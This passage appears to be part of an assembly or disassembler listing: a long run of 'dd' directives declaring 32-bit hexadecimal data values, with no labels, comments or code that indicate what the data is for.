		dd 5F21CDA2h, 58A53A97h, 0F29E953Dh, 0B127BB7h,	10278AEBh
		dd 7C472DFh, 70DEB769h,	1A9785D0h, 3A29D5D2h, 2918F157h
		dd 0A2E96128h, 37FE2EF3h, 0A8B2A21Fh, 72DDE3A2h, 628F440Fh
		dd 0C60567EDh, 0E17AB35Ch, 7DFA2B45h, 0B86A819Fh, 9CE1D28h
		dd 0C2515FC6h, 7E0BB4A0h, 5621EE68h, 93E2883h, 3B9F5479h
		dd 40B7960Fh, 0FD9335ABh, 2AB0D7C9h, 34B02284h,	595475A8h
		dd 46BE779Dh, 3B62E695h, 97704768h, 20AD95DFh, 0E9570D6Ah
		dd 0DE967062h, 0D9021357h, 16923D56h, 33D5FB29h, 6BBEB5BAh
		dd 16B2CE37h, 2E9D79A0h, 662A8CCAh, 48132D4Ch, 0D1CF155h
		dd 0CF7E8682h, 50E05F77h, 54B7A408h, 685CF8B9h,	5E659F25h
		dd 56B77EBAh, 3CEE4251h, 67D571FFh, 5C604668h, 503EDCBDh
		dd 14B4C7E9h, 0B123F327h, 0CA0E6842h, 2050CC7Fh, 0FF822967h
		dd 5A5BEBD7h, 4C67FD0Ch, 802539h, 4018BA4Ah, 0CB84B53Bh
		dd 0E430AE5Eh, 704B6850h, 0BCD59D7Bh, 0E9D5C2D0h, 2B54264Ah
		dd 0A4B05043h, 29169EC2h, 95A8F85Dh, 0EE0986E5h, 5F2D197Ah
		dd 0A4662DE4h, 5B0158F5h, 15346707h, 0B80AE46Eh, 0AC5A258Bh
		dd 60E31A8Dh, 48230C22h, 0C7D91667h, 86014480h,	294E60F1h
		dd 53EEC25Ah, 54D0AB0Eh, 14EB8143h, 0BC3F260Ah,	5079AD10h
		dd 524AF152h, 0CCC55FD0h, 0BCA17904h, 11123067h, 0FFF3D640h
		dd 0F95741C8h, 4AAAF64Ch, 0A7D81BE5h, 0F5599FB6h, 8F3FDC2Ch
		dd 0C94FAF4Eh, 0E830D08Bh, 5F179504h, 0FE9F302Ah, 1A68C1B1h
		dd 594B334Ah, 81BD1890h, 1728C347h, 0E27FD072h,	0C8FA9647h
		dd 600BF382h, 0C5A9D46Ch, 7F3382F8h, 45F02AFh, 4F868303h
		dd 0AC075E0Ch, 72EC1A3Dh, 991DF31h, 5956CE1h, 743D6859h
		dd 2918FB4Bh, 18F03C24h, 1757A3E9h, 2F178CE2h, 200D69AAh
		dd 0A92A3C54h, 3EE9A003h, 18E89F10h, 9696BDF7h,	0D66AF273h
		dd 1BB50468h, 0C182EE2Ch, 0F4EB2022h, 0D5A0B859h, 17C01D71h
		dd 0D01F73C1h, 0C4429090h, 493ACCD8h, 41A2AFB2h, 34E86958h
		dd 9364A770h, 2243269Bh
		dd 0F8050794h, 5013C721h, 32122984h, 7CC1E9BAh,	1CEC72A9h
		dd 0BF84CCF3h, 0CB010804h, 0E90AA7F6h, 2F5A17D9h, 0A4BD51F6h
		dd 548B64CBh, 54CDFE5Dh, 1B093AEBh, 0A938DF58h,	0AA2859A1h
		dd 2B0EB760h, 0C06AD470h, 7EC9C8F7h, 6EC0B7CBh,	0F8560FE9h
		dd 6E0CD6CDh, 0FF5814Ah, 76EC5B2Dh, 0D292D565h,	0B275D731h
		dd 2D09576Dh, 52608A7Ch, 2C3155BAh, 0A40AF5h, 481B30FDh
		dd 0C90CCD81h, 0C329B69h, 0B134179Ah, 652F082Dh, 0E956500Eh
		dd 0E8D3430Ch, 5C5C7C08h, 5A20A139h, 5EDA681Ch,	0E518FF2Dh
		dd 7EBD3A0Fh, 0C8FEC926h, 0C6C7FCA7h, 31696257h, 8017D027h
		dd 39F7ADCh, 8B053A29h,	295691Ah, 674F5FAAh, 0F70223FCh
		dd 846075D4h, 37EAD5DAh, 39CF8316h, 0DE301013h,	9C4900B0h
		dd 8C68004Ch, 5E58EB51h, 4ECE8107h, 80B9D054h, 3B12985h
		dd 80564BDDh, 0EA4363B2h, 0C2C46D4Bh, 3EB80712h, 13566689h
		dd 7D307B89h, 0F7BB0039h, 0E950D70Dh, 0B73A93A0h, 0DC5A8B42h
		dd 2B6EF9A1h, 6A850BB9h, 5D81A41Ah, 0F727E2BDh,	0B89DDE25h
		dd 46607641h, 0CD2D8F20h, 0E8BAA12Ah, 0F101AE2Dh, 78C059DBh
		dd 25E9F3D1h, 51AC85FEh, 4C8328B1h, 0BC41E16Fh,	90D13924h
		dd 73840C38h, 9E585C85h, 147F2A05h, 0C8EEF129h,	0E424682Ah
		dd 16F0E35h, 71DD63E3h,	800C352Bh, 5A311EC4h, 0A4352000h
		dd 2122334Ch, 425804C2h, 0BC3EBAE9h, 24A8935Ch,	0A27BC384h
		dd 0E092603Dh, 160F5F20h, 0B8771468h, 0EB8D666h, 0B8585107h
		dd 5053540h, 0DCC18906h, 784A4DE9h, 574E88FAh, 887E0FBDh
		dd 0DA5827B1h, 3D3A0507h, 0F8827AD7h, 5F07852Dh, 6BB8A0AEh
		dd 59BAD913h, 41ADEBF0h, 0BDED00E3h, 36502B78h,	7D1FD5BDh
		dd 0E1002D89h, 6C715BF6h, 84D04BE9h, 42AA831h, 6AB6C0EDh
		dd 0E9C888EBh, 0B7A1462Ch, 79105DAFh, 69BF5D16h, 45BD6E2Ah
		dd 7D9B9E99h, 0AEE52EEBh, 0D72A45EDh, 5CA2630Fh, 88BA0C4Bh
		dd 384B2D7Eh, 497950B3h, 5D0BB33Ch, 0B47F148Bh,	0F87CB57Ah
		dd 6B315C52h, 7FB94907h, 5A68AE17h, 0EBBA5F4Dh,	69355F31h
		dd 7294D73Fh, 535664B6h, 53705D49h, 0B5A5EA5Fh,	6860FAF1h
		dd 0E574B7C6h, 0BB442CE3h, 0B7F88309h, 0A527BE4Fh, 5992FB23h
		dd 98436346h, 97B2F3CBh, 2CFE66D8h, 0BF1EF1B6h,	0D3C008C4h
		dd 0E6C20787h, 2DC5C57Dh, 0FA591DB1h, 25F36800h, 29385F05h
		dd 0CBF0DB11h, 6E143E18h, 508FD3F7h, 0B5A23B2Ch, 0E9612AF1h
		dd 8D3B45C9h, 20C7BA93h, 0B9660E1Bh, 218716FDh,	9B5977CDh
		dd 0F9607EE1h, 8D0EA855h, 0B34C183Fh, 3FC7105Fh, 680F5D0Eh
		dd 579B7FBEh, 20BD2E01h, 19A5E948h, 13E460A6h, 2EC9BE63h
		dd 0C5FAB73Bh, 9895E8D1h, 0B888DCBBh, 0B9474419h, 1DC460A0h
		dd 14099E02h, 0E90C08EDh, 0EB337C95h, 76319E09h, 73425D29h
		dd 7FE90801h, 78CA7A85h, 96483214h, 2321AFD6h, 4E073C5Ah
		dd 0AB9F7DC5h, 0CBCDFD47h, 44DB7C4Bh, 42F6F452h, 21BBE05Bh
		dd 72AFD97Eh, 89538F96h, 55CEAB27h, 0FEB724C1h,	7038AB61h
		dd 0A5C02CB0h, 5C2D9DCEh, 6789773h, 9CFC9980h, 0C0FD7F2Dh
		dd 69C4E9CCh, 0A16899A3h, 75C1365Dh, 37920EFh, 0E66B5BE1h
		dd 0E9F9D8B0h, 0BB3BC040h, 548A2B2Eh, 0A0003791h, 55597877h
		dd 57320268h, 55D01F0h,	9FB0D85Fh, 0D2970564h, 1D6C04C5h
		dd 0C15720FAh, 6A527824h, 1828DFC9h, 597F3610h,	0BF530AA7h
		dd 42139A2Bh, 9557504Ah, 69DAFE09h, 96354E1Fh, 35A5F06Ah
		dd 46606503h, 0F9C6092Eh, 486FC951h, 0B1C07D10h, 7419310h
		dd 0E239E981h, 0DFD4CFBFh, 0F1EF969Eh, 0BFF32F2Dh, 95EF044Eh
		dd 5BE178Dh, 0BBDBF70Fh, 0F81CA832h, 3A91205Ch,	0F95BEE96h
		dd 412A8F30h, 27027027h, 0B5AC3A6Bh, 26820073h,	0E94A01C4h
		dd 0A29572E4h, 4045051Dh, 283DA971h, 0C3863Eh, 6E284403h
		dd 20E9EB29h, 0F282349h, 24D58851h, 3CFF1E61h, 281682EEh
		dd 82A43296h, 306AEBDEh, 0E72D5E7Bh, 4084285Eh,	15D0703h
		dd 0E41193D9h, 0F11833CEh, 1EE5FB47h, 6703213h,	0BA5E25AEh
		dd 593ACC01h, 127B7175h, 1BD9D8BEh, 0E37E7A45h,	63CA6419h
		dd 1078A14h, 30FDEF80h,	0CF2827C7h, 406E10DDh, 0E2E98702h
		dd 1240AD8h, 327808F7h,	0C376F020h, 71EE9DC0h, 2438C7AFh
		dd 0B9BF089h, 80AF0AAEh, 0EE5FFB25h, 396D3790h,	0B820608Dh
		dd 58C5488Eh, 0C5EDD128h, 97252BF8h, 46C3DE55h,	4FB863E8h
		dd 6E92799Dh, 6051C980h, 0B34173E9h, 76C9BC3Fh,	9F71775Eh
		dd 0E27E90EDh, 83D19328h, 272E715Ah, 0D10184ACh, 44DF87F1h
		dd 7A8CB199h, 0F41733A8h, 0D3C3D079h, 30E31D18h, 20362BFh
		dd 28E965F7h, 0AC516BF6h, 7C5CB700h, 99D163Bh, 0B40BD5BBh
		dd 6857FD00h, 469529CAh, 1B9F2795h, 605FF649h, 0C3A8DEBCh
		dd 4E629A68h, 94BCCD3h,	37103DFh, 70429881h, 5BEB8CFh
		dd 203E6AF3h, 16F1E838h, 0D9EBC4DDh, 59CD7BEAh,	407EAB22h
		dd 20B059Fh, 9322676h, 0D64642E9h, 477DE929h, 116806A1h
		dd 585BA744h, 9AF9013h,	0C65F5FC5h, 19559764h, 48357B53h
		dd 0B582B86Bh, 1FD86131h, 0D12A2D00h, 400E8D25h, 8064B54Ah
		dd 0E8E0302Ch, 53130474h, 94097AB3h, 2F37D4D0h,	0B062A3D4h
		dd 3FEC1627h, 351A6EB5h, 804E6D1h, 0BB00B4EFh, 7C404598h
		dd 5BD92421h, 698A04EEh, 0E187C054h, 0E32852C7h, 660F657h
		dd 0C623AF1Eh, 5A7B9569h, 1633640Bh, 0C0287B9Ch, 947BF567h
		dd 0BF70576Ah, 8D0C10A0h, 0C1D84681h, 0A0DBD61Ah, 335E0AE7h
		dd 6FDFE5F9h, 32FB2D22h, 87C125D7h, 692CFBF1h, 5A56838h
		dd 9020D7C6h, 4476B79Ch, 422319A5h, 17FBD870h, 0F1682028h
		dd 8AAC2B45h, 0D683E83Ch, 0B4BE96Bh, 27679F59h,	0F086C1C0h
		dd 81D2882Eh, 7726F67Eh, 0C6016C8Fh, 80AEA8B7h,	22717DFEh
		dd 0F3BFDE65h, 49B9A3Eh, 0EF1227ABh, 0FCBCD9C4h, 0A2C61F5h
		dd 15E0041h, 317AFBF9h,	332205Ch, 603CB147h, 58C4B32Eh
		dd 9D75200Ch, 0C198147Fh, 4CE95425h, 0DE2B3495h, 1C6831Eh
		dd 5C211AB4h, 112DB2B5h, 745B2B3Fh, 5B62FFD8h, 9CD5F0E5h
		dd 0EA54549Ah, 0DD4E88EDh, 6F46CF05h, 0E248B2BFh, 0FB5C0487h
		dd 0D89204ADh, 9327E9A5h, 0B080D247h, 10620F68h, 8AA40C99h
		dd 0B4B1CC4Fh, 922D7B7Ah, 54C6990Dh, 12D6B23Ah,	0F3BA418Dh
		dd 319A84E8h, 0AFD30FFCh, 6ED1B70Eh, 15C6002Dh,	0D3CDE9EAh
		dd 4BB3BE5Eh, 0A1A5B4DBh, 0D7F7E0AFh, 0D2334E95h, 0A3A2BA1Bh
		dd 0DC681262h, 0FF57B277h, 57976950h, 5E407216h, 0A92D1F21h
		dd 0EC29660h, 195D2AACh, 2A53E7FCh, 0CDA0BCBCh,	38585B63h
		dd 8F542E02h, 7FECD089h, 7B1EC87h, 0A119D5DCh, 43A07B1Ch
		dd 4B03132Fh, 9627AF7Ah, 2B8858C1h, 0E66B446Ah,	60B800F4h
		dd 0F444AC79h, 0F6D9B7BCh, 8B17A202h, 8EE6C019h, 68A1C186h
		dd 0D2DE7547h, 9E432A74h, 0C937047Eh, 816D3DC0h, 0C883F1FFh
		dd 8CBEF61Bh, 6CF22D01h, 88E24F24h, 803A07D4h, 0DE60E78h
		dd 5F7FE95Dh, 0F0B14973h, 0A8F960ABh, 5824C4EBh, 0F98139CBh
		dd 304F311Fh, 73B6BD2Eh, 12BE4C3Ch, 52E2400Ah, 77E75C70h
		dd 3236AC5Fh, 0DE2DC8F9h, 5DB90073h, 41597F1Fh,	0BE1789Fh
		dd 0A680E0A7h, 83A42178h, 4242B9Fh, 0F2AE5505h,	0A5C6131Fh
		dd 5601BD29h, 1CAC5348h, 68500251h, 9E7511F7h, 0B6584AF7h
		dd 0E9F01EE9h, 83BE032Eh, 726E1D68h, 0AAB3D96Dh, 5E575C02h
		dd 3879F91Bh, 60282F88h
		dd 51C380FAh, 0C4D38499h, 0E78E87AAh, 0E4CCECF3h, 61DA9841h
		dd 0D07AF546h, 0EE404835h, 6D59602Ch, 0C4D117BFh, 0D9C420A8h
		dd 57D9BA42h, 44965839h, 145644BAh, 173C2CF1h, 0A5BE8426h
		dd 28378526h, 0C3CCAB1Ch, 86D4A158h, 5CE1A620h,	4A1870F7h
		dd 4DBB3E09h, 60D70A1Eh, 0E870CF89h, 2F4CDB11h,	2A7E668Ch
		dd 4E08EF14h, 0CB5037ABh, 1C839EFFh, 257459E9h,	34A94EFDh
		dd 0BAFF2F53h, 46C2C0Bh, 2C073017h, 4D803E2h, 0D2D567A7h
		dd 44513739h, 469DBA1h,	0EB162CEBh, 51F5F644h, 97CD31EBh
		dd 0CC2B8819h, 0B2F72D07h, 0E35157B2h, 0E9830A53h, 84F47876h
		dd 0C407EB80h, 0ABFD57D6h, 5932F944h, 3557D7C5h, 43D368B2h
		dd 0D7768AEh, 54259B2Dh, 544E6A30h, 0F19DE5E0h,	0B75360C3h
		dd 0FA4C880Eh, 78F0CE3Bh, 95DCF622h, 0D1974A64h, 79FCA5BAh
		dd 304A8961h, 0E9535A40h, 3296F377h, 0AF1015Eh,	3A75E71Eh
		dd 1D8205FFh, 9A8A888h,	0E3DF5759h, 0EB39D816h,	0F746003Ch
		dd 79BB53D6h, 26120E0Ah, 2CFCE3C1h, 584DE81Fh, 71E20C1Fh
		dd 60EA2D2Fh, 0B6ADE926h, 0FE280C64h, 0E3F70D10h, 50B2EECCh
		dd 972E2AC4h, 97880AB6h, 970F05Dh, 0F51C472Ah, 6A70E2FEh
		dd 17597BBFh, 5B544CA7h, 761425A6h, 9896C4Fh, 0F59F0864h
		dd 2CC03FE1h, 76164E71h, 841E2009h, 0F6AEBDE3h,	64FA5B09h
		dd 0B161B8DEh, 518041E9h, 0F65BF57h, 79D7E5Dh, 0B7F34678h
		dd 0D76F3B4Bh, 216E2293h, 331D7165h, 135B7E83h,	0ED961DB2h
		dd 9BF98501h, 0CAABA653h, 71449B9h, 92EE80ADh, 17D2F004h
		dd 0B74958C0h, 486C8840h, 0EC754D20h, 3A5F0579h, 0BDAC78E9h
		dd 0D1F1705Ch, 0E181002Dh, 4409170Fh, 0F805E15Eh, 649F3861h
		dd 6CC3F44Ch, 9F782C5Dh, 1389998h, 0CBBF4E70h, 0D57517FDh
		dd 630B29FEh, 505B801Fh, 9F0FE952h, 0DBDFAEE2h,	4C8A00D2h
		dd 0D9012345h, 33080782h, 5B598F9Ah, 2E79E96Fh,	0E71A8C55h
		dd 0D2A45C0Ch, 31C16777h, 3B4E6858h, 4D7215A5h,	0B8751C84h
		dd 1FA9D4CBh, 5513103Ch, 0CA2FC0EEh, 0E658C14Eh, 74681222h
		dd 30E1C8ACh, 908D7AF0h, 6CF1B88Bh, 989D313Ch, 0B2D468CCh
		dd 8496C90Eh, 18C7AD20h, 0E902BDEh, 0E816D84Ah,	0E468FEB6h
		dd 0F7C10D5h, 425C680h,	8ED38836h, 0A97BF9FBh, 5A62F26Eh
		dd 515EAD46h, 30D01CF0h, 2346606h, 0D573AC2Bh, 29D4405Dh
		dd 283DB3F1h, 142EEA9Bh, 0F7471E97h, 8D87729h, 21095505h
		dd 0BBB7BF8h, 0FD4CAE94h, 0BF4023B9h, 5B4E066Ch, 0BFCBC17h
		dd 0D4116847h, 6D6A8932h, 3DA3D35Fh, 92FB3CAEh,	0C365FB5Ch
		dd 4F70A2FFh, 55C085BCh, 612E30BDh, 0D5F73614h,	6217A043h
		dd 3BD8953Ah, 2E024400h, 0E9FD0914h, 9FF99221h,	0C7D1EE93h
		dd 0EAAC5031h, 534C47B4h, 0C22F2D23h, 6F765F51h, 2DC9D8FAh
		dd 0CF44C311h, 0A61AFE9Fh, 73280867h, 52FA2D17h, 53A4BA8Eh
		dd 881813B6h, 0F910FBF5h, 5B21942Dh, 0E9BAD784h, 0D55DA2A3h
		dd 5FE52A59h, 8B409ECh,	243C5D58h, 0F55A84D8h, 4FB0284h
		dd 0EF8BCB88h, 0A31FEA5Ah, 0C0FED8C7h, 2F27754Bh, 288C8D53h
		dd 0D50510FDh, 2A202D58h, 0B9658BDh, 5EFD40BEh,	853A8F7h
		dd 482F552Bh, 813F45D1h, 2E29D95Dh, 0D5CA4C12h,	4F76D650h
		dd 0ED8CD02Eh, 38907FEEh, 12237895h, 60267968h,	0AA186014h
		dd 7BF24950h, 46B03E1Dh, 0A517E78Fh, 3582452Ah,	0C7C3DE0Dh
		dd 5F18C898h, 2E728362h, 2AC36E7Dh, 686609ECh, 4C571D23h
		dd 0FF7665D6h, 2D4FA2Dh, 0B758AABh, 64256368h, 59542F3Ch
		dd 40E79A5Dh, 0E5064861h, 0C52F2B21h, 9008BDD5h, 71A017DDh
		dd 7E3CCBABh, 260DD528h, 0A91ABB0Fh, 79A26416h,	6E08BF00h
		dd 0C4B72CEAh, 0AB214E96h, 25FE010Fh, 0C7BBD476h, 0C6C4A996h
		dd 56C0865Fh, 7E88F704h, 0E5283EC5h, 276E7F1Ch,	40A436D5h
		dd 5521E214h, 3B189ABDh, 932B68FFh, 77853E55h, 902C6497h
		dd 5F0A0FC4h, 0BF2C6A0h, 2CE90DC6h, 0F0283BCFh,	45A3307h
		dd 0DEF87763h, 0E808E985h, 0B5B21D44h, 0FACD4CCBh, 388873F9h
		dd 0E11212F4h, 0E04BE58h, 8DB20291h, 9D3B8B16h,	6BB22AD8h
		dd 0B40BBD6h, 3D3BB3EFh, 0BF7EC6Eh, 0B58C3586h,	59E957C0h
		dd 0AC7C6367h, 87B4BB65h, 0C77612C5h, 0B690537h, 0FDE2FA56h
		dd 88DA072Fh, 2E1AE255h, 0F1AC01BAh, 60AA6DD0h,	89BF881Fh
		dd 6253DDE3h, 0CBC88A16h, 4B29FE51h, 0B4A68870h, 5C19E8F9h
		dd 17B00AA8h, 34E8D002h, 0C80AE901h, 91A353Dh, 215BCA71h
		dd 0ED04AFF8h, 0F525FDBh, 5F3F12ABh, 105483D0h,	0C016802h
		dd 637B16E9h, 0CA20E801h, 0FC3C5AB8h, 0D001B12Eh, 0F127D132h
		dd 0D155A142h, 806842CDh, 5985FFCAh, 0BBA7EE30h, 2F43C710h
		dd 727E7429h, 89F35340h, 0A4345181h, 0B708178Fh, 812CEE09h
		dd 0E90FA0EAh, 0C2D14984h, 0FBB60F16h, 4A3B6A98h, 799CFF31h
		dd 0B3305B88h, 0F4914B20h, 9534992Dh, 0BD284060h, 9732AA09h
		dd 8F7A24Fh, 0DB90625Dh, 0C27F25AAh, 0FE26CA60h, 0F64B531Ch
		dd 409816A4h, 759FADFDh, 0CE357190h, 0C3E3DC9Dh, 0FAEDB5E9h
		dd 0B2133CE7h, 6D31EE70h, 1E5C280Ah, 3BE14103h,	0AC7FEC99h
		dd 27F0105Fh, 0EA716813h, 0B53823E3h, 812D6604h, 3CEF9EBh
		dd 25E9F329h, 573412ECh, 0ABFD0150h, 0DA7B712Fh, 98147861h
		dd 82AC4346h, 0CA3E3EFCh, 0ED696F17h, 9DAD5BE0h, 0AB4D5384h
		dd 4AF40D2Dh, 22FEB7B4h, 35A5C58h, 0E920F780h, 26709DF4h
		dd 87270A98h, 8B415139h, 0B3744E7Ch, 0DE69E062h, 97EB978Fh
		dd 0AB14F457h, 0C0B294BCh, 0BF07FEDCh, 69E7395Dh, 0FD31ADA2h
		dd 587E9F1h, 10D25A9Ah,	1CDE66Dh, 0B9515E54h, 30B03383h
		dd 1059FEE4h, 80D204D9h, 0BDBE7EEAh, 82BA4BB4h,	0C9AF2740h
		dd 837EC285h, 0A3D93571h, 0B9EC2B8Ch, 523DA99h,	4A7BC0F1h
		dd 94CE4C3Fh, 64289059h, 20874FB0h, 16826854h, 0C0F4DDCBh
		dd 1CABB405h, 0C333EC80h, 0E388FDC4h, 3E904C13h, 169C9FFDh
		dd 8607B25Ch, 278D7EE9h, 8CFAC681h, 345948A1h, 6458390Ch
		dd 4EAAD67Dh, 0EEF78BC2h, 0E557516Ch, 17CBB805h, 0DCFFDA86h
		dd 0A207C368h, 29DD198Ah, 3056E921h, 9D9D9C2Fh,	990C3BD2h
		dd 0F115565Dh, 93FAED7Bh, 992935B4h, 8E408977h,	25C94477h
		dd 0A2A5A5DBh, 7413E82Ch, 560E6E5Ah, 0AADB6F80h, 3580E126h
		dd 208E5653h, 961EC48h,	9B33CCBh, 0EEA7BD84h, 503AC459h
		dd 1FCEB960h, 0FA175239h, 2E5778A5h, 53EB53CCh,	2F9FA662h
		dd 751EE2BFh, 0F5E9C471h, 0FC898CE5h, 9D43E480h, 0C1CD1155h
		dd 124BB96Eh, 663030A8h, 2D4B7CBEh, 46E12759h, 0B097A3Ch
		dd 42A5D609h, 100C938h,	973081D8h, 2628CAD6h, 2C564F4Dh
		dd 570B3566h, 35A5C678h, 1834DB5h, 6C096909h, 0E7076058h
		dd 13FC594Bh, 2B0F1BC6h, 1EA3F106h, 0B0C3B21h, 8E1DBCC3h
		dd 528B7D07h, 6A7F53A5h, 590807BEh, 1302EEFEh, 4A6DE18Ch
		dd 0A281FD29h, 78403A2Ch, 472636EBh, 805A1834h,	0E45331F7h
		dd 87C8BD78h, 0C90481D9h, 6CAB5473h, 176E01B8h,	828843A5h
		dd 6FE0291Eh, 61823810h, 71DC0F19h, 0A5688089h,	828D074Bh
		dd 1A695D7Ah, 0AE4946C8h, 4ED5D853h, 31DA209Dh,	0EC1C9104h
		dd 307B7CCBh, 970C2D84h, 3767BC19h, 6E420E24h, 9033400Bh
		dd 12942759h, 509FBDF0h, 273979C0h, 0B2F422D2h,	0FA44AC09h
		dd 0C1C8F2B3h, 11CFF56Bh, 63E07A13h, 0A5182DDh,	0C0BAC94Fh
		dd 70EB8096h, 99E3483Ah
		dd 0E206C775h, 1C980F58h, 632E92Eh, 209F3770h, 101B9668h
		dd 49E74658h, 3D862462h, 0D750F88Bh, 0CCF85014h, 0C3A5A760h
		dd 1A0E381Dh, 0FACB2932h, 391C080Ch, 3347C18h, 375B10Ch
		dd 68591A19h, 872A6C43h, 509AC21h, 0DDCAF73Ah, 28456E2h
		dd 5D22A0EFh, 0C6B8502Eh, 0A91CD409h, 32C15DC9h, 0C3E47E7Dh
		dd 0B7527B9h, 0C1050C5Ch, 0A10208EDh, 42ADA818h, 0E9C6C068h
		dd 20414155h, 96A27BC9h, 0D5AFC1D6h, 0F37F7709h, 0C008B437h
		dd 7C5B68C9h, 0E92F4204h, 32BA457Ah, 47F8EDE5h,	0B1C5F95h
		dd 2007D29Fh, 54762FE2h, 0F14EF92Dh, 0CF56AF7Dh, 57F49D5Eh
		dd 0DC7BE963h, 0D11663B2h, 7AAB93E1h, 5E5FD317h, 0F4EDE50Bh
		dd 0FF4928h, 0F6CB0BAEh, 0F0BA0164h, 29A0F250h,	3593A6CAh
		dd 67FEB112h, 4B0948A7h, 603AF45Eh, 7D2D60A9h, 7BEF0D05h
		dd 80BF7E61h, 31E903AFh, 50272EB4h, 0ECF99DE9h,	3E353E4h
		dd 0B207FA5Fh, 8EF2C8C2h, 0A7825F33h, 0B3754F67h, 58AFD295h
		dd 1E579F75h, 0B2B0EC94h, 0E3C131F2h, 777BD94h,	24480140h
		dd 0EE312C2Bh, 22BF0162h, 96024061h, 3DB95138h,	2542DF24h
		dd 29B7815Dh, 443F58C7h, 0E33CC0B8h, 8A8148A1h,	0CFBC9F98h
		dd 211E51BCh, 2E08CBF8h, 857AF2D4h, 3B8D350h, 16BF10C4h
		dd 9185E891h, 0D15E1093h, 2A6768A2h, 51C138ABh,	0E7B3E913h
		dd 55AB21ABh, 6D603B50h, 9895D0F7h, 0E6A35A42h,	0F5291328h
		dd 0D96F382Dh, 0B36EB5h, 0E9C70B79h, 4304402h, 69A4297Dh
		dd 6227F520h, 9C8F9E5Dh, 5E22F509h, 594A4882h, 397882FDh
		dd 60407536h, 0FBC6F44Fh, 202CEFC1h, 0BF02E2C7h, 30AC7B21h
		dd 0BB34C857h, 7D9E2C11h, 7E9144Dh, 0E05EF05Ah,	0F25AA09Fh
		dd 487227B5h, 0B804AA32h, 0FBB2AC42h, 0D95A5D80h, 1F2BF78h
		dd 80550882h, 630F58E8h, 0D3012450h, 0FB071340h, 6C88FD2Dh
		dd 0F44010E1h, 0BDF9DDC3h, 0A69015E6h, 3B5F4122h, 71F403EBh
		dd 2515B001h, 2A224C68h, 0D03675Fh, 4F95D0C6h, 7CF07025h
		dd 1E8FB0BBh, 0A4F114ACh, 1062ACB3h, 12B5173Dh,	0F6A001FEh
		dd 2BAC68D5h, 0B383ECE8h, 6C17207Eh, 7B0CED80h,	4A463EEBh
		dd 0C12BEC58h, 3F1F6007h, 0B74C3AF4h, 661294E5h, 0D351A3BEh
		dd 0B513FC95h, 6B9C2DBAh, 7C65ECC0h, 0BD789866h, 5895DFD2h
		dd 8D14270Ch, 0DC918DC9h, 0D6FA57E0h, 13082AD0h, 1213685Ah
		dd 0F7C4CFB2h, 0C6A6ACA8h, 72C12F82h, 0FAF04BC6h, 0FCBCE0C1h
		dd 929EF87Fh, 0F3D74BD7h, 52377659h, 11D18C20h,	682F734Dh
		dd 7DE8C2FEh, 0E904EB53h, 0CBEF5B63h, 735B7DA3h, 0E1B952C3h
		dd 7320E70Ch, 0F7B0AA97h, 0DD1DA2C0h, 3DF397C0h, 316E863Fh
		dd 27DAEBC1h, 2ADD6E53h, 1038F22Bh, 31162AC5h, 4CA5A77Ch
		dd 0AEA11206h, 5017E7AAh, 0BA2CECE7h, 9B9FE625h, 164C604h
		dd 80098A1h, 0B69496E9h, 0C6229006h, 6F880C86h,	0C8930BD1h
		dd 0F88B0230h, 70F280DAh, 0B27595C0h, 93845F8Ch, 0E0BD0F9Bh
		dd 813FC060h, 3DD12E5h,	0ED900034h, 8C2BC730h, 5D589FB8h
		dd 97F810DEh, 4CFBAC5Bh, 0D06C2CB4h, 76E103C5h,	4CB53A7Bh
		dd 4CF80406h, 37852E1Eh, 173D95EEh, 4956BA45h, 0AAFF06BAh
		dd 0C30BB18Dh, 4849E259h, 28A0A40Bh, 98C99D2Fh,	2829C9C7h
		dd 0F125BDD2h, 841E7B62h, 0FB1EB068h, 6DFAA431h, 15FF5D02h
		dd 42DD261Bh, 5E027BCAh, 554F5556h, 8B9B22Dh, 0E04F47A8h
		dd 63521168h, 22A0B869h, 0EB3949F0h, 21C39CF6h,	0A810CB1Bh
		dd 0B126B168h, 97372CCCh, 5A5ABE2Dh, 3C2BC159h,	0F0B55101h
		dd 282F1EB7h, 13C014EFh, 0BA8AE780h, 2AF7A901h,	6E68F828h
		dd 65D0B7A7h, 1017AD2Bh, 0E5A96EAh, 56001ABh, 3BEE2355h
		dd 0C7BD67B0h, 375BA54Fh, 0ABC89E4h, 0E57CAE4Ah, 0E9F10B21h
		dd 1CF5AC2Fh, 498AFC7Bh, 820519BDh, 0C2364220h,	185710D8h
		dd 8033A42Fh, 0BC1E60B8h, 5D8866DBh, 91C26CBh, 1BD5E0D5h
		dd 0ACFB9CADh, 2D9C5AFh, 0FF04E2BDh, 831B5179h,	0D5AFB1Ah
		dd 0BE9534BEh, 60990288h, 3BA58A6h, 692CC105h, 0AF02314Ah
		dd 582D924Eh, 4A5BE4B5h, 0CD38AACDh, 681384C6h,	0FC681318h
		dd 767913DAh, 55F60C52h, 2C806DE0h, 0B151245Bh,	0F0B008AFh
		dd 8E77E2Fh, 680160C3h,	2142593Ch, 60924B20h, 0CFBD2523h
		dd 1D4ADE2Eh, 5C7966B0h, 37161660h, 38588969h, 85574D8Bh
		dd 0A3BEEA68h, 78A98BB2h, 765EBF36h, 49285079h,	41BF9C4h
		dd 0CBEAD9F7h, 57B3040Ch, 81BF1E90h, 55BBBC6Ah,	0FDF4BBEAh
		dd 0E76262DEh, 99FF7F1Fh, 5D8B109Fh, 0FFE34E9h,	39B9E281h
		dd 3320678Ah, 58DC0193h, 0E9D629BDh, 3F536C64h,	0F9C1275Fh
		dd 0D385086Eh, 5989531Dh, 19FBE805h, 29202641h,	8EB94F9h
		dd 3713E90Bh, 896DE5FDh, 0F2F26398h, 1F5DEB3Ah,	4D09DF29h
		dd 181F66B7h, 35313D68h, 282467Ah, 77271FBh, 0ABA6C447h
		dd 0D025D513h, 132ACBEFh, 6E54F92Ch, 0AD6F212Fh, 38204EB1h
		dd 0D6680BFCh, 0D0ACD634h, 104CC968h, 2810D307h, 0AC525AC4h
		dd 7CCDAA21h, 0F3F68100h, 7FB03E07h, 35D2F701h,	610D80FAh
		dd 0C1700C69h, 527FC062h, 18E94230h, 0D95F3B75h, 0C354B22Dh
		dd 7090B480h, 0DA4095CDh, 1C0292EDh, 40E911AAh,	0CBA568B8h
		dd 9D5091Bh, 0B71F801h,	0DE1D3B60h, 0E7E91858h,	0ABCB932Ah
		dd 20B64D1Dh, 246E39Ch,	20C1CAFh, 4F5246B1h, 0F7C8DBF7h
		dd 776EA97Dh, 0E104A00Ch, 50DF895Eh, 611A895Bh,	0C2FE6C2Ah
		dd 8857C880h, 88E174BFh, 273D7E85h, 0B0C74EBh, 0E183FEBEh
